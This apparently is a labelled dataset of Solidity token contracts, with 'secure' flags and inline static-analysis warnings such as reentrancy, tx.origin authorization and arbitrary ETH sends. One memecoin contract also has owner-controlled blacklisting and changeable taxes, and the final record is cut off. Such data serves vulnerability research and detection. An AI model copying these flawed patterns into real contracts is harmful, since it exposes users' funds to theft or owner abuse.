files dict |
|---|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\nlibrary SafeERC20 {\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafeERC20: low-level call failed\"\n );\n if (returndata.length > 0) {\n require(\n abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n }\n\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n }\n}",
"file_name": "solidity_code_4059.sol",
"secure": 1,
"size_bytes": 1632
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract FOOT is ERC20 {\n constructor() ERC20(\"Bitfoot\", \"FOOT\") {\n _mint(msg.sender, 100 * 1000000 * (10 ** decimals()));\n }\n}",
"file_name": "solidity_code_406.sol",
"secure": 1,
"size_bytes": 280
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract SatoshiNakamoto is ERC20, Ownable {\n bool public enabledTrading;\n bool public transferDelayStatus = true;\n bool public antiMevBlock = true;\n bool public dynamicTaxFlag;\n bool public tradeLimitsMode = true;\n\n mapping(address => bool) public automatedPairs;\n mapping(address => uint256) private blockTransferTime;\n mapping(address => bool) public markedBots;\n mapping(address => bool) public limitException;\n mapping(address => bool) public feeException;\n\n address public immutable ethWrapped;\n address public immutable liquidityPairToken;\n address public treasury;\n\n uint256 public swapLimit;\n uint64 public constant FEE_BASE = 10000;\n uint256 public blockBegin;\n\n IUniswapV2Router02 public immutable exchangeDexRouter;\n\n event LimitExemptStatusSet(address addrAccount, bool exempt);\n event FeeExemptUpdate(address addrAccount, bool exempt);\n event LimitsEnded();\n event MaxWalletUpdate(uint256 maxLimitNew);\n event MaxTransactionUpdate(uint256 maxLimitNew);\n event SellTaxUpdated(uint256 newAmountThreshold);\n event TaxUpdatedBuy(uint256 newAmountThreshold);\n\n struct TaxSettings {\n uint64 overallTax;\n }\n\n struct TokenTaxSpec {\n uint80 treasuryTokens;\n bool gasEconomy;\n }\n struct TransferBoundaries {\n uint128 capTransaction;\n uint128 maxWalletCapacity;\n }\n\n TransferBoundaries public transferBoundaries;\n TokenTaxSpec public trackedTaxTokens;\n\n TaxSettings public buyTaxConfiguration;\n TaxSettings public sellTaxSettings;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2c2b09f): SatoshiNakamoto.constructor().addressOwner lacks a zerocheck on \t treasury = addressOwner\n\t// Recommendation for 2c2b09f: Check that the address is not zero.\n constructor() ERC20(\"Satoshi Nakamoto\", \"Paul\") {\n address addressOwner = msg.sender;\n uint256 tokensSupply = 69420000000 * 1e18;\n uint256 supplyTotalLiquidity = (tokensSupply * 90) / 100;\n uint256 remainingTotalSupply = tokensSupply - supplyTotalLiquidity;\n _mint(address(this), supplyTotalLiquidity);\n _mint(addressOwner, remainingTotalSupply);\n\n address tradingRouterAddress = address(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n dynamicTaxFlag = true;\n\n exchangeDexRouter = IUniswapV2Router02(tradingRouterAddress);\n\n transferBoundaries.capTransaction = uint128(\n (totalSupply() * 100) / 10000\n );\n transferBoundaries.maxWalletCapacity = uint128(\n (totalSupply() * 100) / 10000\n );\n swapLimit = (totalSupply() * 25) / 100000;\n\n\t\t// missing-zero-check | ID: 2c2b09f\n treasury = addressOwner;\n\n buyTaxConfiguration.overallTax = 0;\n sellTaxSettings.overallTax = 0;\n\n trackedTaxTokens.gasEconomy = true;\n\n ethWrapped = exchangeDexRouter.WETH();\n liquidityPairToken = IUniswapV2Factory(exchangeDexRouter.factory())\n .createPair(address(this), ethWrapped);\n\n automatedPairs[liquidityPairToken] = true;\n\n limitException[liquidityPairToken] = true;\n limitException[owner()] = true;\n limitException[addressOwner] = true;\n limitException[address(this)] = true;\n\n feeException[owner()] = true;\n feeException[addressOwner] = true;\n feeException[address(this)] = true;\n feeException[address(exchangeDexRouter)] = true;\n\n _approve(address(this), address(exchangeDexRouter), type(uint256).max);\n _approve(address(owner()), address(exchangeDexRouter), totalSupply());\n }\n function updateInternalTaxes() internal {\n uint256 startBlocksCount = block.number - blockBegin;\n if (startBlocksCount <= 10) {\n balanceTaxAndLimits(0, 100);\n } else {\n balanceTaxAndLimits(0, 10000);\n\t\t\t// reentrancy-benign | ID: 453bc4f\n dynamicTaxFlag = false;\n\t\t\t// reentrancy-benign | ID: 453bc4f\n transferDelayStatus = false;\n }\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 7b02f51): SatoshiNakamoto.limitsCheck(address,address,uint256) uses tx.origin for authorization require(bool,string)(blockTransferTime[tx.origin] < block.number,Transfer Delay)\n\t// Recommendation for 7b02f51: Do not use 'tx.origin' for authorization.\n function limitsCheck(\n address initiator,\n address receiverEntity,\n uint256 tokensValue\n ) internal {\n if (tradeLimitsMode) {\n bool recipientExemptStatus = limitException[receiverEntity];\n uint256 balanceRecipient = balanceOf(receiverEntity);\n TransferBoundaries memory limitsTransaction = transferBoundaries;\n\n if (automatedPairs[initiator] && !recipientExemptStatus) {\n require(\n tokensValue <= limitsTransaction.capTransaction,\n \"Max Txn\"\n );\n require(\n tokensValue + balanceRecipient <=\n limitsTransaction.maxWalletCapacity,\n \"Max Wallet\"\n );\n } else if (\n automatedPairs[receiverEntity] && !limitException[initiator]\n ) {\n require(\n tokensValue <= limitsTransaction.capTransaction,\n \"Max Txn\"\n );\n } else if (!recipientExemptStatus) {\n require(\n tokensValue + balanceRecipient <=\n limitsTransaction.maxWalletCapacity,\n \"Max Wallet\"\n );\n }\n\n if (transferDelayStatus) {\n if (\n receiverEntity != address(exchangeDexRouter) &&\n receiverEntity != address(liquidityPairToken)\n ) {\n\t\t\t\t\t// tx-origin | ID: 7b02f51\n require(\n blockTransferTime[tx.origin] < block.number,\n \"Transfer Delay\"\n );\n }\n }\n }\n\n if (antiMevBlock) {\n if (automatedPairs[receiverEntity]) {\n require(\n blockTransferTime[initiator] < block.number,\n \"Anti MEV\"\n );\n } else {\n\t\t\t\t// reentrancy-benign | ID: 090298d\n blockTransferTime[receiverEntity] = block.number;\n\t\t\t\t// reentrancy-benign | ID: 090298d\n blockTransferTime[tx.origin] = block.number;\n }\n }\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: cacba41): SatoshiNakamoto.sendETH(address[],uint256[]) has external calls inside a loop (isSuccessful,None) = addressesRecipients[i_scope_0].call{value transferAmounts[i_scope_0]}()\n\t// Recommendation for cacba41: Favor pull over push strategy for external calls.\n function sendETH(\n address[] calldata addressesRecipients,\n uint256[] calldata transferAmounts\n ) external payable onlyOwner {\n require(\n addressesRecipients.length == transferAmounts.length,\n \"Arrays length mismatch\"\n );\n\n uint256 ethTotal = 0;\n\n for (uint256 i = 0; i < transferAmounts.length; i++) {\n ethTotal += transferAmounts[i];\n }\n\n require(msg.value >= ethTotal, \"Insufficient ETH sent\");\n\n for (uint256 i = 0; i < addressesRecipients.length; i++) {\n\t\t\t// calls-loop | ID: cacba41\n (bool isSuccessful, ) = addressesRecipients[i].call{\n value: transferAmounts[i]\n }(\"\");\n require(isSuccessful, \"ETH transfer failed\");\n }\n\n uint256 remainingETH = msg.value - ethTotal;\n if (remainingETH > 0) {\n (bool wasRefunded, ) = msg.sender.call{value: remainingETH}(\"\");\n require(wasRefunded, \"Refund failed\");\n }\n }\n\n function botAccountsSetup(\n address[] calldata addresses,\n bool flagValue\n ) public onlyOwner {\n for (uint256 i = 0; i < addresses.length; i++) {\n if (\n (!automatedPairs[addresses[i]]) &&\n (addresses[i] != address(exchangeDexRouter)) &&\n (addresses[i] != address(this)) &&\n (!feeException[addresses[i]] && !limitException[addresses[i]])\n ) botsFlag(addresses[i], flagValue);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 6e50bd1): SatoshiNakamoto.limitsOff().localTransferLimits is a local variable never initialized\n\t// Recommendation for 6e50bd1: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function limitsOff() external onlyOwner {\n tradeLimitsMode = false;\n TransferBoundaries memory localTransferLimits;\n uint256 amountSupply = totalSupply();\n localTransferLimits.capTransaction = uint128(amountSupply);\n localTransferLimits.maxWalletCapacity = uint128(amountSupply);\n transferBoundaries = localTransferLimits;\n emit LimitsEnded();\n }\n\n function turnOffTransferDelay() external onlyOwner {\n require(transferDelayStatus, \"Already disabled!\");\n transferDelayStatus = false;\n }\n\n function addressTreasurySet(address treasuryNew) external onlyOwner {\n require(treasuryNew != address(0), \"Zero address\");\n treasury = treasuryNew;\n }\n\n function limitExemptStatusSet(\n address addrAccount,\n bool exempt\n ) external onlyOwner {\n require(addrAccount != address(0), \"Zero Address\");\n if (!exempt) {\n require(addrAccount != liquidityPairToken, \"Cannot remove pair\");\n }\n limitException[addrAccount] = exempt;\n emit LimitExemptStatusSet(addrAccount, exempt);\n }\n\n function botsFlag(address addrAccount, bool flagValue) internal virtual {\n markedBots[addrAccount] = flagValue;\n }\n\n function tokensRescue(\n address addressOfToken,\n address receiverEntity\n ) external onlyOwner {\n require(addressOfToken != address(0), \"Token address cannot be 0\");\n uint256 balanceOfTokensInContract = IERC20(addressOfToken).balanceOf(\n address(this)\n );\n SafeERC20.safeTransfer(\n IERC20(addressOfToken),\n receiverEntity,\n balanceOfTokensInContract\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5c233df): SatoshiNakamoto.updateSwapThreshold(uint256) should emit an event for swapLimit = newAmountThreshold \n\t// Recommendation for 5c233df: Emit an event for critical parameter changes.\n function updateSwapThreshold(\n uint256 newAmountThreshold\n ) external onlyOwner {\n require(\n newAmountThreshold >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n require(\n newAmountThreshold <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n\t\t// events-maths | ID: 5c233df\n swapLimit = newAmountThreshold;\n }\n\n function modifyExemptStatusFee(\n address addrAccount,\n bool exempt\n ) external onlyOwner {\n require(addrAccount != address(0), \"Zero Address\");\n require(addrAccount != address(this), \"Cannot unexempt contract\");\n feeException[addrAccount] = exempt;\n emit FeeExemptUpdate(addrAccount, exempt);\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 187d950): SatoshiNakamoto.updateBuyTaxSettings(uint64).taxInfo is a local variable never initialized\n\t// Recommendation for 187d950: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function updateBuyTaxSettings(uint64 treasuryTaxValue) external onlyOwner {\n TaxSettings memory taxInfo;\n taxInfo.overallTax = treasuryTaxValue;\n emit TaxUpdatedBuy(taxInfo.overallTax);\n buyTaxConfiguration = taxInfo;\n }\n\n function convertETHFromTokens(uint256 tokenValue) private {\n address[] memory swapPath = new address[](2);\n swapPath[0] = address(this);\n swapPath[1] = ethWrapped;\n\n\t\t// reentrancy-events | ID: 8968387\n\t\t// reentrancy-events | ID: 83cfde0\n\t\t// reentrancy-benign | ID: 090298d\n\t\t// reentrancy-benign | ID: 453bc4f\n\t\t// reentrancy-eth | ID: cce011b\n\t\t// reentrancy-eth | ID: 8bec4ec\n\t\t// reentrancy-eth | ID: af8ddca\n exchangeDexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenValue,\n 0,\n swapPath,\n address(this),\n block.timestamp\n );\n }\n\n function offDynamicTax() external onlyOwner {\n require(dynamicTaxFlag, \"Already off\");\n dynamicTaxFlag = false;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 77226d1): SatoshiNakamoto.modifySellTaxSettings(uint64).taxInfo is a local variable never initialized\n\t// Recommendation for 77226d1: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function modifySellTaxSettings(uint64 treasuryTaxValue) external onlyOwner {\n TaxSettings memory taxInfo;\n taxInfo.overallTax = treasuryTaxValue;\n emit SellTaxUpdated(taxInfo.overallTax);\n sellTaxSettings = taxInfo;\n }\n\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8bec4ec): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8bec4ec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: c50129c): SatoshiNakamoto.exchangeTokensTax() sends eth to arbitrary user Dangerous calls (isSuccessful,None) = treasury.call{value balanceInETH}()\n\t// Recommendation for c50129c: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function exchangeTokensTax() private {\n uint256 balanceInContract = balanceOf(address(this));\n TokenTaxSpec memory tokenTaxDetails = trackedTaxTokens;\n uint256 tokensTotalSwap = tokenTaxDetails.treasuryTokens;\n\n if (balanceInContract == 0 || tokensTotalSwap == 0) {\n return;\n }\n\n if (balanceInContract > swapLimit * 20) {\n balanceInContract = swapLimit * 20;\n }\n\n if (balanceInContract > 0) {\n\t\t\t// reentrancy-eth | ID: 8bec4ec\n convertETHFromTokens(balanceInContract);\n\n uint256 balanceInETH = address(this).balance;\n\n bool isSuccessful;\n\n balanceInETH = address(this).balance;\n\n if (balanceInETH > 0) {\n\t\t\t\t// reentrancy-events | ID: 8968387\n\t\t\t\t// reentrancy-events | ID: 83cfde0\n\t\t\t\t// reentrancy-benign | ID: 090298d\n\t\t\t\t// reentrancy-benign | ID: 453bc4f\n\t\t\t\t// reentrancy-eth | ID: cce011b\n\t\t\t\t// reentrancy-eth | ID: 8bec4ec\n\t\t\t\t// reentrancy-eth | ID: af8ddca\n\t\t\t\t// arbitrary-send-eth | ID: c50129c\n (isSuccessful, ) = treasury.call{value: balanceInETH}(\"\");\n }\n }\n\n tokenTaxDetails.treasuryTokens = 0;\n\t\t// reentrancy-eth | ID: 8bec4ec\n trackedTaxTokens = tokenTaxDetails;\n }\n\n function updateAntiMevEnabled(bool enabled) external onlyOwner {\n antiMevBlock = enabled;\n }\n\n function transactionMaxUpdate(uint128 maximumTokens) external onlyOwner {\n require(\n maximumTokens >= ((totalSupply() * 1) / 1000) / (10 ** decimals()),\n \"Too low\"\n );\n transferBoundaries.capTransaction = uint128(\n maximumTokens * (10 ** decimals())\n );\n emit MaxTransactionUpdate(transferBoundaries.capTransaction);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8968387): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8968387: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 090298d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 090298d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 0ea39b6): SatoshiNakamoto._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(tx.origin == initiator || tx.origin == _msgSender() || ! markedBots[tx.origin],bot detected)\n\t// Recommendation for 0ea39b6: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cce011b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cce011b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address initiator,\n address receiverEntity,\n uint256 tokensValue\n ) internal virtual override {\n require(!markedBots[initiator], \"bot detected\");\n require(\n _msgSender() == initiator || !markedBots[_msgSender()],\n \"bot detected\"\n );\n\t\t// tx-origin | ID: 0ea39b6\n require(\n tx.origin == initiator ||\n tx.origin == _msgSender() ||\n !markedBots[tx.origin],\n \"bot detected\"\n );\n if (!feeException[initiator] && !feeException[receiverEntity]) {\n require(enabledTrading, \"Trading not active\");\n\t\t\t// reentrancy-events | ID: 8968387\n\t\t\t// reentrancy-benign | ID: 090298d\n\t\t\t// reentrancy-eth | ID: cce011b\n tokensValue -= deductTaxation(\n initiator,\n receiverEntity,\n tokensValue\n );\n\t\t\t// reentrancy-benign | ID: 090298d\n limitsCheck(initiator, receiverEntity, tokensValue);\n }\n\n\t\t// reentrancy-events | ID: 8968387\n\t\t// reentrancy-eth | ID: cce011b\n super._transfer(initiator, receiverEntity, tokensValue);\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 05cee79): SatoshiNakamoto.balanceTaxAndLimits(uint64,uint128).taxInfo is a local variable never initialized\n\t// Recommendation for 05cee79: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 8625dfe): SatoshiNakamoto.balanceTaxAndLimits(uint64,uint128).limitsTransaction is a local variable never initialized\n\t// Recommendation for 8625dfe: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function balanceTaxAndLimits(\n uint64 newTaxAmount,\n uint128 transactionLimitPercent\n ) internal {\n TaxSettings memory taxInfo;\n\t\t// reentrancy-benign | ID: 453bc4f\n taxInfo.overallTax = newTaxAmount;\n\t\t// reentrancy-benign | ID: 453bc4f\n sellTaxSettings = taxInfo;\n buyTaxConfiguration = taxInfo;\n\n if (transactionLimitPercent > 0) {\n TransferBoundaries memory limitsTransaction;\n uint128 limitAmount = uint128(\n (totalSupply() * transactionLimitPercent) / 10000\n );\n limitsTransaction.capTransaction = limitAmount;\n limitsTransaction.maxWalletCapacity = limitAmount;\n\t\t\t// reentrancy-benign | ID: 453bc4f\n transferBoundaries = limitsTransaction;\n }\n }\n\n function distributionAirdrop(\n address[] calldata addressesRecipients,\n uint256[] calldata valuesTokens\n ) external onlyOwner {\n require(\n addressesRecipients.length == valuesTokens.length,\n \"arrays length mismatch\"\n );\n for (uint256 i = 0; i < addressesRecipients.length; i++) {\n super._transfer(\n msg.sender,\n addressesRecipients[i],\n valuesTokens[i]\n );\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3a02981): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3a02981: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3f01a3b): SatoshiNakamoto.initializeTask() ignores return value by exchangeDexRouter.addLiquidityETH{value balanceInETH}(address(this),supplyTotalLiquidity,0,0,owner(),block.timestamp)\n\t// Recommendation for 3f01a3b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 271428a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 271428a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function initializeTask() external payable onlyOwner {\n require(!enabledTrading, \"Trading already enabled\");\n\n uint256 supplyTotalLiquidity = balanceOf(address(this));\n require(supplyTotalLiquidity > 0, \"No tokens for liquidity\");\n\n uint256 balanceInETH = msg.value;\n require(balanceInETH > 0, \"No ETH for liquidity\");\n\n approve(address(exchangeDexRouter), supplyTotalLiquidity);\n\n\t\t// reentrancy-benign | ID: 3a02981\n\t\t// unused-return | ID: 3f01a3b\n\t\t// reentrancy-eth | ID: 271428a\n exchangeDexRouter.addLiquidityETH{value: balanceInETH}(\n address(this),\n supplyTotalLiquidity,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-eth | ID: 271428a\n enabledTrading = true;\n\t\t// reentrancy-benign | ID: 3a02981\n blockBegin = block.number;\n }\n receive() external payable {}\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 83cfde0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 83cfde0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 453bc4f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 453bc4f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: af8ddca): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for af8ddca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: d95d57f): SatoshiNakamoto.deductTaxation(address,address,uint256).taxParamsCurrent is a local variable never initialized\n\t// Recommendation for d95d57f: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function deductTaxation(\n address initiator,\n address receiverEntity,\n uint256 tokensValue\n ) internal returns (uint256) {\n if (\n balanceOf(address(this)) >= swapLimit && !automatedPairs[initiator]\n\t\t\t// reentrancy-events | ID: 83cfde0\n\t\t\t// reentrancy-benign | ID: 453bc4f\n\t\t\t// reentrancy-eth | ID: af8ddca\n ) {\n exchangeTokensTax();\n }\n\n\t\t\t// reentrancy-benign | ID: 453bc4f\n if (dynamicTaxFlag) {\n updateInternalTaxes();\n }\n\n uint128 amountTax = 0;\n\n TaxSettings memory taxParamsCurrent;\n\n if (automatedPairs[receiverEntity]) {\n taxParamsCurrent = sellTaxSettings;\n } else if (automatedPairs[initiator]) {\n taxParamsCurrent = buyTaxConfiguration;\n }\n\n if (taxParamsCurrent.overallTax > 0) {\n TokenTaxSpec memory tokensTaxUpdated = trackedTaxTokens;\n amountTax = uint128(\n (tokensValue * taxParamsCurrent.overallTax) / FEE_BASE\n );\n tokensTaxUpdated.treasuryTokens += uint80(\n (amountTax * taxParamsCurrent.overallTax) /\n taxParamsCurrent.overallTax /\n 1e9\n );\n\t\t\t// reentrancy-eth | ID: af8ddca\n trackedTaxTokens = tokensTaxUpdated;\n\t\t\t// reentrancy-events | ID: 83cfde0\n\t\t\t// reentrancy-eth | ID: af8ddca\n super._transfer(initiator, address(this), amountTax);\n }\n\n return amountTax;\n }\n\n function modifyMaxWallet(uint128 maximumTokens) external onlyOwner {\n require(\n maximumTokens >= ((totalSupply() * 1) / 1000) / (10 ** decimals()),\n \"Too low\"\n );\n transferBoundaries.maxWalletCapacity = uint128(\n maximumTokens * (10 ** decimals())\n );\n emit MaxWalletUpdate(transferBoundaries.maxWalletCapacity);\n }\n}",
"file_name": "solidity_code_4060.sol",
"secure": 0,
"size_bytes": 27417
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Haggis is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 527847c): Haggis.routerAdress should be constant \n\t// Recommendation for 527847c: Add the 'constant' attribute to state variables that never change.\n address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: abea91c): Haggis.DEAD should be constant \n\t// Recommendation for abea91c: Add the 'constant' attribute to state variables that never change.\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string private _name;\n\n string private _symbol;\n\n uint8 constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4ccfd4a): Haggis._totalSupply should be constant \n\t// Recommendation for 4ccfd4a: Add the 'constant' attribute to state variables that never change.\n uint256 public _totalSupply = 1_000_000_000 * (10 ** _decimals);\n\n uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f6e0015): Haggis._swapHaggisThreshHold should be immutable \n\t// Recommendation for f6e0015: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapHaggisThreshHold = (_totalSupply * 1) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 34d1aa8): Haggis._maxTaxSwap should be immutable \n\t// Recommendation for 34d1aa8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = (_totalSupply * 10) / 10000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) private Haggiss;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1ec2423): Haggis._HaggisWallet should be immutable \n\t// Recommendation for 1ec2423: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _HaggisWallet;\n\n address public pair;\n\n IUniswapV2Router02 public router;\n\n bool public swapEnabled = false;\n\n bool public HaggisFeeEnabled = false;\n\n bool public TradingOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1cec212): Haggis._initBuyTax should be constant \n\t// Recommendation for 1cec212: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6802d86): Haggis._initSellTax should be constant \n\t// Recommendation for 6802d86: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 0;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ce59a18): Haggis._reduceBuyTaxAt should be constant \n\t// Recommendation for ce59a18: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6ec42c5): Haggis._reduceSellTaxAt should be constant \n\t// Recommendation for 6ec42c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n uint256 private _buyCounts = 0;\n\n bool inSwap;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d8b16b3): Haggis.constructor(address,string,string).HaggisWallet lacks a zerocheck on \t _HaggisWallet = HaggisWallet\n\t// Recommendation for d8b16b3: Check that the address is not zero.\n constructor(\n address HaggisWallet,\n string memory name_,\n string memory symbol_\n ) Ownable(msg.sender) {\n address _owner = owner;\n\n\t\t// missing-zero-check | ID: d8b16b3\n _HaggisWallet = HaggisWallet;\n\n _name = name_;\n\n _symbol = symbol_;\n\n isFeeExempt[_owner] = true;\n\n isFeeExempt[_HaggisWallet] = true;\n\n isFeeExempt[address(this)] = true;\n\n isTxLimitExempt[_owner] = true;\n\n isTxLimitExempt[_HaggisWallet] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function withdrawHaggisBalance() external 